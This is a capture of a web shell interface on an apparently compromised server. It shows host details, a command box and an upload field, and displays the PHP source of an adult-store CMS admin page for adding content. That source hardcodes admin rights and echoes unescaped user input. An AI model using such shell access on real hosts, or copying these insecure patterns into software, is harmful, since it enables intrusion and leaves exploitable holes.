403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/TSCP2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/TSCP2/add_content.php
<?php

// set to true for now
$is_admin = TRUE;

	include ('config.php');
	dbConn();

	$msgSystem = '';

	$uniqid = uniqid();

	$nameSwitcher = 'Add';

	if (isset($_GET['id']) && is_numeric($_GET['id'])) {

		$content_id = mysql_real_escape_string($_GET['id']);

		$content_sql = mysql_query("SELECT * FROM `cms_content` WHERE `content_id` = '" . $content_id . "'") or die(mysql_error());

		if (mysql_num_rows($content_sql) == 1) {

			$content = mysql_fetch_object($content_sql);

			$releasedate = explode("-", $content->releasedate);
			$content->releasemonth = $releasedate[1];
			$content->releaseday = $releasedate[2];
			$content->releaseyear = $releasedate[0];

			$shootdate = explode("-", $content->shootdate);
			$content->creationmonth = $shootdate[1];
			$content->creationday = $shootdate[2];
			$content->creationyear = $shootdate[0];

			$content->creationDate = $shootdate[1] . $shootdate[2] . substr($shootdate[0], 2);
			$content->modelNumbers = '';

			$content_models_sql = mysql_query("SELECT * FROM `cms_content_models` WHERE `content_id` = '" . $content_id . "'") or die(mysql_error());

			if (mysql_num_rows($content_models_sql) > 0) {

				$modelCounter = 1;

				while ($content_models = mysql_fetch_object($content_models_sql)) {

					$model_number = 'model_' . $modelCounter;

					$content->$model_number = $content_models->model_id;

					if (isset($content->modelNumbers) && $content->modelNumbers != "") {
						$content->modelNumbers .= ', ';
					}

					$content->modelNumbers .= $content_models->model_id;

					$modelCounter++;

				}

			}

			$nameSwitcher = 'Edit';

		}

	}

	if ($_SERVER['REQUEST_METHOD'] == 'POST') {

		if (isset($_POST['title']) && $_POST['title'] != "") {

			$content->title = mysql_real_escape_string($_POST['title']);

		} else {
			$msgSystem .= msgSystem("Content Name was not provided.", "error");
		}

		if (isset($_POST['content_type']) && is_numeric($_POST['content_type'])) {

			$content->content_type = $_POST['content_type'];

		} else {
			$msgSystem .= msgSystem("A Content Type was not selected.", "error");
		}

		if (isset($_POST['price']) && is_numeric($_POST['price'])) {

			$content->price = $_POST['price'];

		} else {

			if (!isset($content->is_custom) || $content->is_custom != 1) {
				$msgSystem .= msgSystem("No Price was provided.", "error");
			}

		}

		if (isset($_POST['model_1']) && is_numeric($_POST['model_1'])) {

			$content->model_1 = $_POST['model_1'];

		} else {
			$msgSystem .= msgSystem("A Model was not selected.", "error");
		}

		if (isset($_POST['model_2']) && is_numeric($_POST['model_2'])) {

			$content->model_2 = $_POST['model_2'];

		}

		if (isset($_POST['model_3']) && is_numeric($_POST['model_3'])) {

			$content->model_3 = $_POST['model_3'];

		}

		if (isset($_POST['model_4']) && is_numeric($_POST['model_4'])) {

			$content->model_4 = $_POST['model_4'];

		}

		if (isset($_POST['owner_1']) && is_numeric($_POST['owner_1'])) {

			$content->owner_1 = $_POST['owner_1'];

		} else {
			$msgSystem .= msgSystem("An Owner was not selected.", "error");
		}

		if (isset($_POST['owner_2']) && is_numeric($_POST['owner_2'])) {

			$content->owner_2 = $_POST['owner_2'];

		}

		if (isset($_POST['owner_3']) && is_numeric($_POST['owner_3'])) {

			$content->owner_3 = $_POST['owner_3'];

		}

		if (isset($_POST['owner_4']) && is_numeric($_POST['owner_4'])) {

			$content->owner_4 = $_POST['owner_4'];

		}

		if (isset($_POST['releasemonth']) && is_numeric($_POST['releasemonth'])) {

			$content->releasemonth = $_POST['releasemonth'];

		} else {
			$msgSystem .= msgSystem("Release Date Month was not provided.", "error");
		}

		if (isset($_POST['releaseday']) && is_numeric($_POST['releaseday'])) {

			$content->releaseday = $_POST['releaseday'];

		} else {
			$msgSystem .= msgSystem("Release Date Day was not provided.", "error");
		}

		if (isset($_POST['releaseyear']) && is_numeric($_POST['releaseyear'])) {

			$content->releaseyear = $_POST['releaseyear'];

		} else {
			$msgSystem .= msgSystem("Release Date Year was not provided.", "error");
		}

		if (isset($_POST['creationmonth']) && is_numeric($_POST['creationmonth'])) {

			$content->creationmonth = $_POST['creationmonth'];

		} else {
			$msgSystem .= msgSystem("Date of Production Month was not provided.", "error");
		}

		if (isset($_POST['creationday']) && is_numeric($_POST['creationday'])) {

			$content->creationday = $_POST['creationday'];

		} else {
			$msgSystem .= msgSystem("Date of Production Day was not provided.", "error");
		}

		if (isset($_POST['creationyear']) && is_numeric($_POST['creationyear'])) {

			$content->creationyear = $_POST['creationyear'];

		} else {
			$msgSystem .= msgSystem("Date of Production Year was not provided.", "error");
		}

		if (isset($_POST['directory']) && $_POST['directory'] != "") {

			$content->directory = mysql_real_escape_string($_POST['directory']);

		}

		if (!isset($content->directory)) {
			$msgSystem .= msgSystem("Folder Location was not provided or automatically generated.", "error");
		}

		if (isset($_POST['categories']) && $_POST['categories'] != "") {

			$content->categories = mysql_real_escape_string($_POST['categories']);

		} else {
			$msgSystem .= msgSystem("No categories were added.", "error");
		}

		if (isset($_POST['description']) && $_POST['description'] != "") {

			$content->description = mysql_real_escape_string($_POST['description']);

		} else {
			$msgSystem .= msgSystem("Description was not set.", "error");
		}

		if (isset($_POST['uniqid']) && $_POST['uniqid'] != "") {

			$content->uniqid = mysql_real_escape_string($_POST['uniqid']);

		}

		include_once '../class.upload.php';

		$file2257Counter = 1;

		while ($file2257Counter < 5) {

			$filesName = '2257_' . $file2257Counter;
			$postName = 'filename2257_' . $file2257Counter;

			if (isset($_FILES[$filesName]) && isset($_POST[$postName]) && $_POST[$postName] != "") {

				$uploadResponse = upload2257($file2257Counter);

				if ($uploadResponse != "") {
					$msgSystem .= $uploadResponse;
				}

			}

			$file2257Counter++;

		}

		if (isset($msgSystem) && $msgSystem == "") {

			if (isset($content->title) && isset($content->directory) && isset($content->content_type) && isset($content->price) && isset($content->model_1) && isset($content->owner_1) && isset($content->releaseyear) && isset($content->releasemonth) && isset($content->releaseday) && isset($content->creationyear) && isset($content->creationmonth) && isset($content->creationday) && isset($content->categories) && isset($content->description) && isset($content->uniqid)) {


/* Not using for now
				$newdirectory = '../../../content/models/' . $content->directory;
				$uploaddirectory = '../../../content/uploads/' . $content->directory;

				if (!is_dir($newdirectory) && is_dir($uploaddirectory)) {

					$msgSystem .= msgSystem("No destination folder found but matching upload folder found.", "error");

					mkdir($newdirectory, 0777);

					if (is_dir($newdirectory)) {

						$files = scandir($uploaddirectory);

						$deleteUploads = array();

						foreach ($files as $file) {
							if (in_array($file, array(".",".."))) continue;
							if (copy($uploaddirectory . '/' . $file, $newdirectory . '/' . $file)) {
								$deleteUploads[] = $uploaddirectory . '/' . $file;
							}
						}

						if (count($deleteUploads) > 0) {
							foreach ($deleteUploads as $file) {
								@unlink($file);
							}
						}

						$msgSystem .= msgSystem("Destination folder created from upload folder.", "success");

					}
				}
*/

				$releaseDate = $content->releaseyear . '-' . $content->releasemonth . '-' . $content->releaseday;
				$creationDate = $content->creationyear . '-' . $content->creationmonth . '-' . $content->creationday;

				$insertContent = TRUE;

				if (isset($_POST['content_id']) && is_numeric($_POST['content_id']) && $_POST['content_id'] > 0) {

					$existingCheck_sql = mysql_query("SELECT * FROM `cms_content` WHERE `content_id` = '" . $_POST['content_id'] . "'") or die(mysql_error());

					if (mysql_num_rows($existingCheck_sql) == 1) {

						$add_content_query = "UPDATE `cms_content` SET 
							`content_type` =  '" . $content->content_type . "', 
							`releasedate` =  '" . $releaseDate . "', 
							`shootdate` =  '" . $creationDate . "', 
							`title` =  '" . $content->title . "', 
							`price` =  '" . $content->price . "', 
							`directory` =  '" . $content->directory . "', 
							`description` =  '" . $content->description . "', 
							`categories` =  '" . $content->categories . "', 
							`owner_1` =  '" . $content->owner_1 . "', 
							`owner_2` =  '" . $content->owner_2 . "', 
							`owner_3` =  '" . $content->owner_3 . "', 
							`owner_4` =  '" . $content->owner_4 . "', 
							`uniq_id` =  '" . $content->uniqid . "'
						WHERE `content_id` = '" . $_POST['content_id'] . "'";

						$insertContent = FALSE;

						$actionSwitcher = ' updated.';

					}					
				}

				if ($insertContent)  {

					$add_content_query = "INSERT INTO `cms_content` (
						`content_type`, 
						`releasedate`, 
						`shootdate`, 
						`title`, 
						`price`, 
						`directory`, 
						`description`, 
						`categories`, 
						`owner_1`, 
						`owner_2`, 
						`owner_3`, 
						`owner_4`, 
						`status`, 
						`uniq_id`
					) VALUES (
						'" . $content->content_type . "', 
						'" . $releaseDate . "', 
						'" . $creationDate . "', 
						'" . $content->title . "', 
						'" . $content->price . "',  
						'" . $content->directory . "', 
						'" . $content->description . "', 
						'" . $content->categories . "', 
						'" . $content->owner_1 . "', 
						'" . $content->owner_2 . "', 
						'" . $content->owner_3 . "', 
						'" . $content->owner_4 . "', 
						'1', 
						'" . $content->uniqid . "'
					)";

					$actionSwitcher = ' added.';

				}

				mysql_query($add_content_query) or die(mysql_error());

				$addCheck_sql = mysql_query("SELECT * FROM `cms_content` WHERE `uniq_id` = '" . $content->uniqid . "'") or die(mysql_error());

				if (mysql_num_rows($addCheck_sql) == 1) {

					$newcontent = mysql_fetch_object($addCheck_sql);

					// Update content_id for legacy support
					mysql_query("UPDATE `cms_content` SET `content_id` = '" . $newcontent->id . "' WHERE `id` = '" . $newcontent->id . "'") or die(mysql_error());

					$modelCounter = 1;

					mysql_query("DELETE FROM `cms_content_models` WHERE `content_id` = '" . $newcontent->id . "'") or die(mysql_error());

					while ($modelCounter < 5) {

						$modelNumber = 'model_' . $modelCounter;

						if (isset($content->$modelNumber) && is_numeric($content->$modelNumber)) {

							mysql_query("INSERT INTO `cms_content_models` (`content_id`, `model_id`, `featured`) VALUES ('" . $newcontent->id . "','" . $content->$modelNumber . "', '1')") or die(mysql_error());

						}

						$modelCounter++;

					}

					$msgSystem .= msgSystem("Content has been " . $actionSwitcher, "success");

				} else {
					$msgSystem .= msgSystem("There was an error submitting to the database. Please try again.", "error");
				}

			} else {
				$msgSystem .= msgSystem("There was an error setting up variables to add the content.", "error");
			}
		}
	}

	$model_set_query = "SELECT * FROM cms_models ORDER BY name ASC";

?>
<link rel="stylesheet" href="../css/dropzone.css" type="text/css" />
<script src="../js/dropzone.js" type="text/javascript"></script>
<script src="functions_custom.js" type="text/javascript"></script>
<br />
<br />
<form action="" enctype="multipart/form-data" method="POST">
<table width="800" border="0" align="center" cellpadding="5" cellspacing="0">
	<tr>
		<td bgcolor="#CCCCCC" colspan="2">
			<span class="fourbold"><?php echo $nameSwitcher; ?> Content</span> - <a href="content.php">Back to List</a>
		</td>
	</tr>
	<tr>
		<td colspan="2">
		<?php
			if (isset($msgSystem)) {
				echo $msgSystem;
			}
		?>
		</td>
	</tr>
	<?php
		if (isset($newcontent) && $newcontent->directory != "") {

			$images = glob($newcontent->directory . "*.jpg");

			foreach ($images as $image) {
				echo '<img src="' . $image . '"><br /><a href="crop">Crop</a>';
			}

		}
	?>
	<tr>
		<td width="115">
			<div align="right">Content name</div>
		</td>
		<td>			
			<input type="text" id="contentName" name="title" class="grey" size="50" value="<?php echo (isset($content->title) ? $content->title : ""); ?>">
		</td>
	</tr>
	<?php
		if ($is_admin) {
	?>
	<tr>
		<td width="115">
			<div align="right">Folder Location</div>
		</td>
		<td>			
			<input type="text" id="location" name="directory" class="grey" size="50" value="<?php echo (isset($content->directory) ? $content->directory : ""); ?>">
			<?php

				$existing_directories = mysql_query("SELECT directory FROM cms_content") or die(mysql_error());

				if (mysql_num_rows($existing_directories) > 0) {

					while($directories = mysql_fetch_object($existing_directories)) {
						$existing_directories_array[] = $directories->directory;
					}

				}

			?>
			<select id="locationDropdown" class="grey">
				<option>- OR - select folder from dropdown</option>
				<?php

					$dir = '../content/models';

					$it = new RecursiveTreeIterator(new RecursiveDirectoryIterator($dir));

					foreach ($it as $k => $v) {

						if (!preg_match('/^.*\.(jpg|jpeg|png|gif|php|js|html)$/i', $v) && !preg_match('/^.*\/tn$/i', $v)) {

							$v = str_replace("../content/models", "", $v);
							$location = preg_replace('/^.+\//U', "", $v);
							$v = preg_replace('/^.*\//U', "", $v);

							if (preg_match('/\//', $v) && substr_count($v, '/') == 1) {
 
								if (!in_array($location, $existing_directories_array)) {
									echo '<option value="' . $location . '">' . htmlspecialchars($v) . '</option>';
								}

							}

						}
					}

				?>
			</select>
		</td>
	</tr>
	<?php
		}
	?>
	<tr>
		<td width="115">
			<div align="right">Content type</div>
		</td>
		<td width="565">
			<select id="contentType" name="content_type" class="grey">
				<option>Select Content Type</option>
				<option value="1"<?php echo (isset($content->content_type) && $content->content_type == 1 ? " selected" : ""); ?>>Photoset</option>
				<option value="2"<?php echo (isset($content->content_type) && $content->content_type == 2 ? " selected" : ""); ?>>Video</option>
			</select>
		</td>
		
	</tr>
	<tr><td width="115"><div align="right">Date of Production</div></td>
	<td width="665">
		<script type="text/javascript">
		<!--
			$(function() {
			    $("#creationDate").datepicker({

			        onClose: function(dateText, inst) {
			            $('#creationyear').val('20' + dateText.split('/')[2]);
			            $('#creationmonth').val(dateText.split('/')[0]);
			            $('#creationday').val(dateText.split('/')[1]);
			        },
				dateFormat: 'mm/dd/y',
				showOn: "button",
				buttonImage: "../images/ic_insert_invitation_black_24dp.png",
				buttonImageOnly: true,
				buttonText: "Select date"

			    });
			});

		// -->
		</script>
		<style type="text/css">
		<!--

			.ui-datepicker-trigger {
				position: relative;
				top: 7px;
				left: 5px;
			}
		// -->
		</style>
		<select id="creationmonth" name="creationmonth" class="grey">
			<option value="0">Month</option>
			<option value="01"<?php echo (isset($content->creationmonth) && $content->creationmonth == "01" ? " selected" : ""); ?>>January</option> 
			<option value="02"<?php echo (isset($content->creationmonth) && $content->creationmonth == "02" ? " selected" : ""); ?>>February</option>
			<option value="03"<?php echo (isset($content->creationmonth) && $content->creationmonth == "03" ? " selected" : ""); ?>>March</option>
			<option value="04"<?php echo (isset($content->creationmonth) && $content->creationmonth == "04" ? " selected" : ""); ?>>April</option>
			<option value="05"<?php echo (isset($content->creationmonth) && $content->creationmonth == "05" ? " selected" : ""); ?>>May</option>
			<option value="06"<?php echo (isset($content->creationmonth) && $content->creationmonth == "06" ? " selected" : ""); ?>>June</option>
			<option value="07"<?php echo (isset($content->creationmonth) && $content->creationmonth == "07" ? " selected" : ""); ?>>July</option>
			<option value="08"<?php echo (isset($content->creationmonth) && $content->creationmonth == "08" ? " selected" : ""); ?>>August</option>
			<option value="09"<?php echo (isset($content->creationmonth) && $content->creationmonth == "09" ? " selected" : ""); ?>>September</option>
			<option value="10"<?php echo (isset($content->creationmonth) && $content->creationmonth == "10" ? " selected" : ""); ?>>October</option>
			<option value="11"<?php echo (isset($content->creationmonth) && $content->creationmonth == "11" ? " selected" : ""); ?>>November</option>
			<option value="12"<?php echo (isset($content->creationmonth) && $content->creationmonth == "12" ? " selected" : ""); ?>>December</option>
		</select>
		<select id="creationday" name="creationday" class="grey">
		<option value="0">Day</option>
		<?php
			$dayCounter = 1;

			while ($dayCounter < 32) {

				if ($dayCounter < 10) {
					$formattedDay = "0" . $dayCounter;
				} else {
					$formattedDay = $dayCounter;
				}

				echo '<option value="' . $formattedDay . '"' . (isset($content->creationday) && $content->creationday == $formattedDay ? " selected" : "") . '>' . $dayCounter . '</option>';

				$dayCounter++;

			}
		?>
		</select>
		<select id="creationyear" name="creationyear" class="grey">
		<option value="0">Year</option>
		<?php

			$yearCounter = date("Y") + 2;

			while ($yearCounter >= 2009) {

				echo '<option value="' . $yearCounter . '"' . (isset($content->creationyear) && $content->creationyear == $yearCounter ? " selected" : "") . '>' . $yearCounter . '</option>';

				$yearCounter--;

			}
		?>
		</select>
		<input id="creationDate" type="hidden">
	</td></tr>
	<tr>
		<td width="115">
			<div align="right">Price</div>
		</td>
		<td width="665">
			<input type="number" name="price" size="6" class="grey" value="<?php echo (isset($content->price) ? $content->price : "0"); ?>">
		</td>
	</tr>
	<?php
		if ($is_admin) {
	?>
	<tr>
		<td>
			<div align="right">Model 1</div>
		</td>
		<td>
			<select id="model_1" name="model_1" class="grey">
				<option>Select Model Name</option>
				<?php

					$model_set_sql = mysql_query($model_set_query) or die(mysql_error());

					if (mysql_num_rows($model_set_sql) > 0) {
						while ($model_set = mysql_fetch_object($model_set_sql)) {

							if (!isset($model_set->id_expiration) || $model_set->id_expiration == "0000-00-00"){
								$flagIDexpiration = ' <b>*No ID</b>';
							} else {
								$flagIDexpiration = '';
							}

							echo '<option value="' . $model_set->model_id . '"' . (isset($content->model_1) && $content->model_1 == $model_set->model_id ? " selected" : "") . '>' . $model_set->name . $flagIDexpiration . '</option>';
						}
					}
				?>
			</select>
			<div id="doc2257_1" style="<?php echo (isset($_POST['filename2257_1']) && $_POST['filename2257_1'] != "" ? "display: inline-block; " : "display: none; "); ?>text-align: right; margin-left: 10px;">2257 <input type="file" name="2257_1"><input type="hidden" name="filename2257_1" id="creationDate2257_1" value="<?php echo (isset($_POST['filename2257_1']) ? $_POST['filename2257_1'] : ""); ?>"></div>
		</td>
	</tr>
	<tr>
		<td>
			<div align="right">Model 2</div>
		</td>
		<td>
			<select id="model_2" name="model_2" class="grey">
				<option>Select Model Name</option>
				<?php

					$model_set_sql = mysql_query($model_set_query) or die(mysql_error());

					if (mysql_num_rows($model_set_sql) > 0) {
						while ($model_set = mysql_fetch_object($model_set_sql)) {

							if (!isset($model_set->id_expiration) || $model_set->id_expiration == "0000-00-00"){
								$flagIDexpiration = ' <b>*No ID</b>';
							} else {
								$flagIDexpiration = '';
							}

							echo '<option value="' . $model_set->model_id . '"' . (isset($content->model_2) && $content->model_2 == $model_set->model_id ? " selected" : "") . '>' . $model_set->name . $flagIDexpiration . '</option>';
						}
					}
				?>
			</select>
			<div id="doc2257_2" style="<?php echo (isset($_POST['filename2257_2']) && $_POST['filename2257_2'] != "" ? "display: inline-block; " : "display: none; "); ?> text-align: right; margin-left: 10px;">2257 <input type="file" name="2257_2"><input type="hidden" name="filename2257_2" id="creationDate2257_2" value="<?php echo (isset($_POST['filename2257_2']) ? $_POST['filename2257_1'] : ""); ?>"></div>
		</td>
	</tr>
	<tr>
		<td>
			<div align="right">Model 3</div>
		</td>
		<td>
			<select id="model_3" name="model_3" class="grey">
				<option>Select Model Name</option>
				<?php

					$model_set_sql = mysql_query($model_set_query) or die(mysql_error());

					if (mysql_num_rows($model_set_sql) > 0) {
						while ($model_set = mysql_fetch_object($model_set_sql)) {

							if (!isset($model_set->id_expiration) || $model_set->id_expiration == "0000-00-00"){
								$flagIDexpiration = ' <b>*No ID</b>';
							} else {
								$flagIDexpiration = '';
							}

							echo '<option value="' . $model_set->model_id . '"' . (isset($content->model_3) && $content->model_3 == $model_set->model_id ? " selected" : "") . '>' . $model_set->name . $flagIDexpiration . '</option>';
						}
					}
				?>
			</select>
			<div id="doc2257_3" style="<?php echo (isset($_POST['filename2257_3']) && $_POST['filename2257_3'] != "" ? "display: inline-block; " : "display: none; "); ?>display: none; text-align: right; margin-left: 10px;">2257 <input type="file" name="2257_3"><input type="hidden" name="filename2257_3" id="creationDate2257_3" value="<?php echo (isset($_POST['filename2257_3']) ? $_POST['filename2257_1'] : ""); ?>"></div>
		</td>
	</tr>
	<tr>
		<td>
			<div align="right">Model 4</div>
		</td>
		<td>
			<select id="model_4" name="model_4" class="grey">
				<option>Select Model Name</option>
				<?php

					$model_set_sql = mysql_query($model_set_query) or die(mysql_error());

					if (mysql_num_rows($model_set_sql) > 0) {
						while ($model_set = mysql_fetch_object($model_set_sql)) {

							if (!isset($model_set->id_expiration) || $model_set->id_expiration == "0000-00-00"){
								$flagIDexpiration = ' <b>*No ID</b>';
							} else {
								$flagIDexpiration = '';
							}
							echo '<option value="' . $model_set->model_id . '"' . (isset($content->model_4) && $content->model_4 == $model_set->model_id ? " selected" : "") . '>' . $model_set->name . $flagIDexpiration . '</option>';
						}
					}
				?>
			</select>
			<div id="doc2257_4" style="<?php echo (isset($_POST['filename2257_4']) && $_POST['filename2257_4'] != "" ? "display: inline-block; " : "display: none; "); ?>display: none; text-align: right; margin-left: 10px;">2257 <input type="file" name="2257_4"><input type="hidden" name="filename2257_4" id="creationDate2257_4" value="<?php echo (isset($_POST['filename2257_4']) ? $_POST['filename2257_1'] : ""); ?>"></div>
		</td>
	</tr>
	<?php
		} elseif (isset($_SESSION['model_id'])) {
			
			echo '<input type="hidden" name="model_1" value="' . $_SESSION['model_id'] . '">';

		}
	?>
	<tr><td width="115"><div align="right">Release date</div></td>
	<td width="665">
		<script type="text/javascript">
		<!--
			$(function() {
			    $("#releaseDate").datepicker({

			        onClose: function(dateText, inst) {
			            $('#releaseyear').val('20' + dateText.split('/')[2]);
			            $('#releasemonth').val(dateText.split('/')[0]);
			            $('#releaseday').val(dateText.split('/')[1]);
			        },
				dateFormat: 'mm/dd/y',
				showOn: "button",
				buttonImage: "../images/ic_insert_invitation_black_24dp.png",
				buttonImageOnly: true,
				buttonText: "Select date"

			    });
			});

		// -->
		</script>
		<style type="text/css">
		<!--

			.ui-datepicker-trigger {
				position: relative;
				top: 7px;
				left: 5px;
			}
		// -->
		</style>
		<select id="releasemonth" name="releasemonth" class="grey">
			<option value="0">Month</option>
			<option value="01"<?php echo (isset($content->releasemonth) && $content->releasemonth == "01" ? " selected" : ""); ?>>January</option> 
			<option value="02"<?php echo (isset($content->releasemonth) && $content->releasemonth == "02" ? " selected" : ""); ?>>February</option>
			<option value="03"<?php echo (isset($content->releasemonth) && $content->releasemonth == "03" ? " selected" : ""); ?>>March</option>
			<option value="04"<?php echo (isset($content->releasemonth) && $content->releasemonth == "04" ? " selected" : ""); ?>>April</option>
			<option value="05"<?php echo (isset($content->releasemonth) && $content->releasemonth == "05" ? " selected" : ""); ?>>May</option>
			<option value="06"<?php echo (isset($content->releasemonth) && $content->releasemonth == "06" ? " selected" : ""); ?>>June</option>
			<option value="07"<?php echo (isset($content->releasemonth) && $content->releasemonth == "07" ? " selected" : ""); ?>>July</option>
			<option value="08"<?php echo (isset($content->releasemonth) && $content->releasemonth == "08" ? " selected" : ""); ?>>August</option>
			<option value="09"<?php echo (isset($content->releasemonth) && $content->releasemonth == "09" ? " selected" : ""); ?>>September</option>
			<option value="10"<?php echo (isset($content->releasemonth) && $content->releasemonth == "10" ? " selected" : ""); ?>>October</option>
			<option value="11"<?php echo (isset($content->releasemonth) && $content->releasemonth == "11" ? " selected" : ""); ?>>November</option>
			<option value="12"<?php echo (isset($content->releasemonth) && $content->releasemonth == "12" ? " selected" : ""); ?>>December</option>
		</select>
		<select id="releaseday" name="releaseday" class="grey">
		<option value="0">Day</option>
		<?php
			$dayCounter = 1;

			while ($dayCounter < 32) {

				if ($dayCounter < 10) {
					$formattedDay = "0" . $dayCounter;
				} else {
					$formattedDay = $dayCounter;
				}

				echo '<option value="' . $formattedDay . '"' . (isset($content->releaseday) && $content->releaseday == $formattedDay ? " selected" : "") . '>' . $dayCounter . '</option>';

				$dayCounter++;

			}
		?>
		</select>
		<select id="releaseyear" name="releaseyear" class="grey">
		<option value="0">Year</option>
		<?php

			$yearCounter = date("Y") + 2;

			while ($yearCounter >= 2009) {

				echo '<option value="' . $yearCounter . '"' . (isset($content->releaseyear) && $content->releaseyear == $yearCounter ? " selected" : "") . '>' . $yearCounter . '</option>';

				$yearCounter--;

			}
		?>
		</select>
		<input id="releaseDate" type="hidden">
	</td></tr>
	<?php
		if ($is_admin) {
	?>
	<tr>
		<td>
			<div align="right">Owner 1</div>
		</td>
		<td>
			<select name="owner_1" class="grey">
				<option value="0">Select Owner</option>
				<?php
					$model_set_sql = mysql_query($model_set_query) or die(mysql_error());

					if (mysql_num_rows($model_set_sql) > 0) {
						while ($model_set = mysql_fetch_object($model_set_sql)) {
							echo '<option value="' . $model_set->model_id . '"' . (isset($content->owner_1) && $content->owner_1 == $model_set->model_id ? " selected" : "") . '>' . $model_set->name . '</option>';
						}
					}
				?>
			</select>
		</td>
	</tr>
	<tr>
		<td>
			<div align="right">Owner 2</div>
		</td>
		<td>
			<select name="owner_2" class="grey">
				<option value="0">Select Owner</option>
				<?php
					$model_set_sql = mysql_query($model_set_query) or die(mysql_error());

					if (mysql_num_rows($model_set_sql) > 0) {
						while ($model_set = mysql_fetch_object($model_set_sql)) {
							echo '<option value="' . $model_set->model_id . '"' . (isset($content->owner_2) && $content->owner_2 == $model_set->model_id ? " selected" : "") . '>' . $model_set->name . '</option>';
						}
					}
				?>
			</select>
		</td>
	</tr>
	<tr>
		<td>
			<div align="right">Owner 3</div>
		</td>
		<td>
			<select name="owner_3" class="grey">
				<option value="0">Select Owner</option>
				<?php
					$model_set_sql = mysql_query($model_set_query) or die(mysql_error());

					if (mysql_num_rows($model_set_sql) > 0) {
						while ($model_set = mysql_fetch_object($model_set_sql)) {
							echo '<option value="' . $model_set->model_id . '"' . (isset($content->owner_3) && $content->owner_3 == $model_set->model_id ? " selected" : "") . '>' . $model_set->name . '</option>';
						}
					}
				?>
			</select>
		</td>
	</tr>
	<tr>
		<td>
			<div align="right">Owner 4</div>
		</td>
		<td>
			<select name="owner_4" class="grey">
				<option value="0">Select Owner</option>
				<?php
					$model_set_sql = mysql_query($model_set_query) or die(mysql_error());

					if (mysql_num_rows($model_set_sql) > 0) {
						while ($model_set = mysql_fetch_object($model_set_sql)) {
							echo '<option value="' . $model_set->model_id . '"' . (isset($content->owner_4) && $content->owner_4 == $model_set->model_id ? " selected" : "") . '>' . $model_set->name . '</option>';
						}
					}
				?>
			</select>
		</td>
	</tr>
	<?php
		} elseif (isset($_SESSION['model_id'])) {
			
			echo '<input type="hidden" name="owner_1" value="' . $_SESSION['model_id'] . '">';

		}
	?>
	<tr><td width="115"><div align="right">&nbsp;</div></td>
	<tr><td width="115"><div align="right">Categories</div></td>
	<td width="665">
		<link rel="stylesheet" type="text/css" href="../css/jquery.tagsinput.css" />
		<script type="text/javascript" src="../js/jquery.tagsinput.js"></script>
		<script type="text/javascript">
		<!--
		
			$(function() {
				$('#tag_cloud').tagsInput({
					width: 'auto',
					autocomplete_url: 'tag_set.php'
				});
			});

		// -->
		</script>
		<input id="tag_cloud" type="text" class="tags" name="categories" value="<?php echo (isset($content->categories) && $content->categories != "" ? $content->categories : ""); ?>">
	</td></tr>
	<tr><td width="115"><div align="right">&nbsp;</div></td>
	<tr><td width="115"><div align="right">Description:</div></td>
	<td width="665">
		<textarea name="description" cols="70" rows="7" class="grey"><?php echo (isset($content->description) && $content->description != "" ? $content->description : ""); ?></textarea>
	</td></tr>
	<tr><td colspan="2"><div align="center" style="padding: 20px;"><input name="post" type="submit" value="     <?php echo $nameSwitcher; ?> Content     " class="grey"></div></td></tr>
	<input type="hidden" name="uniqid" value="<?php echo $uniqid; ?>">
	<?php
		if (isset($content->content_id) && is_numeric($content->content_id) && $content->content_id > 0) {
			echo '<input type="hidden" name="content_id" value="' . $content->content_id . '">';
		}
	?>
</form>
	<tr>
		<td colspan="2" id="dropzoneBox" style="padding-bottom: 50px;<?php echo (isset($content->title) && isset($content->directory) && $content->title != "" && $content->directory != "" ? "" : " display: none;"); ?>">
			<form action="functions_ajax.php" class="dropzone">
				<input type="hidden" id="dropzonemodelNumbers" name="modelNumbers" value="<?php echo (isset($content->modelNumbers) ? $content->modelNumbers : ""); ?>">
				<input type="hidden" id="dropzonecreationDate" name="creationDate" value="<?php echo (isset($content->creationDate) ? $content->creationDate : ""); ?>">
				<input type="hidden" id="dropzonecontentType" name="content_type" value="<?php echo (isset($content->content_type) ? $content->content_type : ""); ?>">
				<input type="hidden" id="dropzoneFolder" name="dropzoneFolder" value="<?php echo (isset($content->directory) ? $content->directory : ""); ?>">
				<input type="hidden" name="uniqid" value="<?php echo $uniqid; ?>">
			</form>
		</td>
	</tr>
</table>


Youez - 2016 - github.com/yon3zu
LinuXploit